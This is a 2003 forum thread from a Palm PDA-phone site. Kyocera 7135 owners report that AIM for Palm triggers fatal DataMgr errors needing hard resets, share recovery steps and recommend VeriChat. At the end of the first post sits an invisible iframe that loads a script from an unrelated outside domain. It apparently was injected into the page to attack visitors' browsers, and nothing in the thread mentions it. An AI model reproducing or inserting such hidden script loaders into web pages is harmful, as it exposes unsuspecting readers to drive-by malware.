It appears you have not yet registered with our community. To register please click here...

 
 
         
 
     
QuickLinks
  
Home of the Converged PDA - Phone    
 
Go Back  PDAPhoneHome.com > Palm PDAPhones > Kyocera 7135 > AIM 2.1 causes Fatal Alert, only a hard-reset will revive

Reply
 
PDAPhoneHome  
 
Old 04-30-2003, 11:13 PM
     
  #1 (permalink)  
Converged
Join Date: 04-23-2003
Posts: 33
 

AIM 2.1 causes Fatal Alert, only a hard-reset will revive

I'm a beta tester for AOL's new palm apps. In testing AIM 2.1, I am getting Fatal Alert "DataMgr.c, Line: 9573, Index out of range". Only a hard reset will revive the phone. Once I reset, I need to remove AIM from the list of backed-up files to be resinstalled, or else the first synch (restoring from backup) puts the phone right back into Fatal Alert territory. As soon as I reinstall AIM, the problem comes back. I'm not going to reinstall AIM any more. Oddly, AIM was working for a few days, and this just cropped up today out of nowhere.
I have reported this to the AOL beta folks, but I thought I'd pass this along here to see if anyone has any insights in general into DataMgr errors, and whether there might be some deeper problem that AIM is simply triggering.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
 
zolot is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 04-30-2003, 11:22 PM
     
  #2 (permalink)  
Registered User
zucchero's Avatar
Join Date: 03-16-2003
Location: New Joisey
PDAPhone: iPhone 3G
Carrier: at&t
Posts: 653
 

VeriChat: Yes, AIM for Palm: No

Quote:
Originally posted by zolot
I'm a beta tester for AOL's new palm apps. In testing AIM 2.1, I am getting Fatal Alert "DataMgr.c, Line: 9573, Index out of range". Only a hard reset will revive the phone. Once I reset, I need to remove AIM from the list of backed-up files to be resinstalled, or else the first synch (restoring from backup) puts the phone right back into Fatal Alert territory. As soon as I reinstall AIM, the problem comes back. I'm not going to reinstall AIM any more. Oddly, AIM was working for a few days, and this just cropped up today out of nowhere.
I have reported this to the AOL beta folks, but I thought I'd pass this along here to see if anyone has any insights in general into DataMgr errors, and whether there might be some deeper problem that AIM is simply triggering.
I bet this happen: You were working fine until you did a soft reset to your phone. After that, you could not get around the Fatal Error.

This bug has been around forever, and it is not just the 7135. My Treo fell victim to this also. Same error also, but I was on AIM 1.1. I also heard that AOL for Palm (not AIM) 3.0 is guilty of this also. Maybe its a CDMA thing, because I heard the Treo 270 never had this problem.

In any event, stay away. I use VeriChat from www.pdaapps.com and I have been VERY happy with it. It does this cool thing where it looks like you are still active, even though you are log-off'ed the Verizon network (EN or Q2N).
 
zucchero is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 04-30-2003, 11:24 PM
     
  #3 (permalink)  
Converged
Join Date: 04-23-2003
Posts: 33
 

Re: VeriChat: Yes, AIM for Palm: No

Quote:
Originally posted by zucchero
I bet this happen: You were working fine until you did a soft reset to your phone. After that, you could not get around the Fatal Error.
that's exactly right.
indeed, i'll stay away from AIM.
Thanks for the info.
 
zolot is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Sponsored Links
Old 04-30-2003, 11:41 PM
     
  #4 (permalink)  
Fully Converged
Join Date: 01-08-2003
Posts: 127
 

i use 1.1 w/no problem

-from 7135
 
badboy513 is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 04-30-2003, 11:48 PM
     
  #5 (permalink)  
Registered User
zucchero's Avatar
Join Date: 03-16-2003
Location: New Joisey
PDAPhone: iPhone 3G
Carrier: at&t
Posts: 653
 

Quote:
Originally posted by badboy513
i use 1.1 w/no problem

-from 7135
You are the first. I installed it on a complete clean phone, reset, and Fatal Error.
 
zucchero is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 12:21 AM
     
  #6 (permalink)  
Moderator
Join Date: 10-20-2001
Location: DC/Baltimore
PDAPhone: 6800
Carrier: Sprint
Posts: 3,407
 

I was using 1.1 with no problem on a Visor Prism + Minstrel modem, Samsung I300, and Treo 300. AIM 1.1 was working great on my 7135 ever sine I installed it a few weeks ago and today everytime I sign on and it loads my buddy list, I get a fatal exception and I have to do a soft reset. I have not added any new software between now and then either. Very frustrating!
 
Marty is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 12:32 AM
     
  #7 (permalink)  
Fully Converged
Join Date: 01-08-2003
Posts: 127
 

Wow, screw aim. i just installed verichat and it's so much better.

yeah, you look always signed on and when someone ims you, you get a text message over thephone. then you can actually reply back to them via the text messenging function and your message will show up on their im window....


anybody know how long verichat will last (demo?)
 
badboy513 is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 12:37 AM
     
  #8 (permalink)  
Newly Converged
Join Date: 04-17-2003
Posts: 7
  Send a message via AIM to dazedone2000

I had the same problem with AIM 1.1. I won't touch it with a 10' pole now.
 
dazedone2000 is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 01:03 AM
     
  #9 (permalink)  
Moderator
Join Date: 10-20-2001
Location: DC/Baltimore
PDAPhone: 6800
Carrier: Sprint
Posts: 3,407
 

Well 1.1 is working fine now. Here is the sequence of events:

AIM 1.1 causing soft resets -> Hotsync anyways
(handheld overwrites desktop setting)

Now everytime I access the internal memory via File Manager, get a fatal error (so cannot remove AIM software)-> soft reset

Use my card reader to go into SD card Backup Buddy folder and remove all AIM.prc associated files -> hard reset then restore from SD card

After restore and soft reset, get fatal error and only hard reset will fix -> hard reset

Hotsync (desktop overwrites handheld setting) and restore -> everything, including AIM 1.1 works fine, go figure
 
Marty is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 03:29 AM
     
  #10 (permalink)  
Registered User
Join Date: 04-02-2003
Posts: 15
 

i have been using aim just fine. i checked my version and it is 1.0 UK. wierd, i wonder how i ended up with that.
 
gotwalp is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 07:41 AM
     
  #11 (permalink)  
Fully Converged
Join Date: 07-25-2001
Location: Lithia FL (Tampa Bay Area)
Posts: 297
  Send a message via AIM to djjefft

Using AIM 1.1 (build 5) with no problems.
__________________
Jeff
Tampa FL
Blackberry 7230 w/ T-Mobile


E-mail: djjefft@aol.com
AIM: djjefft
 
djjefft is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 08:09 AM
     
  #12 (permalink)  
Registered User
zucchero's Avatar
Join Date: 03-16-2003
Location: New Joisey
PDAPhone: iPhone 3G
Carrier: at&t
Posts: 653
 

Quote:
Originally posted by gotwalp
i have been using aim just fine. i checked my version and it is 1.0 UK. wierd, i wonder how i ended up with that.
I know how. You found it for free. AOL charges $19.99 for 1.1 now (how nice of them....not).

Supposidly, you can still get AOL 1.1 for free at http://www.freewarepalm.com/ , but I never tried, but again, why bother? VeriChat works better (because it makes you look like you are on all the time) and also works with Yahoo!, MSN Messenger, and if you get the latest beta, ICQ. To me, it's perfect (and no, I don't work for them).

--John
 
zucchero is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 08:31 AM
     
  #13 (permalink)  
Newly Converged
Join Date: 11-06-2002
Posts: 19
 

Verichat

Does this program use SMS messages for AIM type chats? If used with Verizon, would this run up my messaging bill (2 cents each)? The license agreement talks about SMS messages and email address of the phone.
 
crawfpm is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 09:27 AM
     
  #14 (permalink)  
Registered User
Join Date: 04-02-2003
Posts: 15
 

i looked at freewarepalm.com and downloaded it and ended up with the same version. since i only use it to get quick answers, this version works fine. it's a shame aol charges for it, you can get aim free for your desktop.
 
gotwalp is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 10:41 AM
     
  #15 (permalink)  
Newly Converged
Join Date: 11-06-2002
Posts: 19
 

Actually, I see that it is still listed for free on palmgear.com. The link for AOL to download the AIM for Palm OS is actually taking you to Handago. They seem to be the only ones charging for it.
 
crawfpm is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 10:44 AM
     
  #16 (permalink)  
A 7135 and D7A-G in a Civic Hybrid!
KB2PMD's Avatar
Join Date: 10-14-2002
Posts: 217
  Send a message via ICQ to KB2PMD Send a message via AIM to KB2PMD Send a message via Yahoo to KB2PMD

I'm beta-testing an update to the AOL mail and AIM software on my 7135. I'd recommend NOT paying for the software yet... the beta versions are substantially more stable than the public release version.
__________________
If you haven't already, please vote on a bluetooth voice AND data adapter for the 7135 (that plugs into the serial port, leaving your expansion card slot free!)
 
KB2PMD is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Old 05-01-2003, 11:05 AM
     
  #17 (permalink)  
Newly Converged
Join Date: 04-22-2003
Posts: 21
 

I use Verichat. No problems on my 7135. *knock on wood*
 
jcl_cls01 is offline  
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Reply


Thread Tools
Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Login Panel
Enter your username and password to login:


Advertisements



PDA and Smartphone Repair & Parts

Cellular Phone Parts and Accessories



PDAPhone Chargers and Screen Protectors

Where Photographers Meet

Please Help By Taking Our Survey!





Our Friends





All times are GMT -5. The time now is 11:15 PM.

               
 
Design by VBSz   |  Hosting by PWH   |  
Copyright © 2002-2007, Convergent Minds, LLC - All Rights Reserved.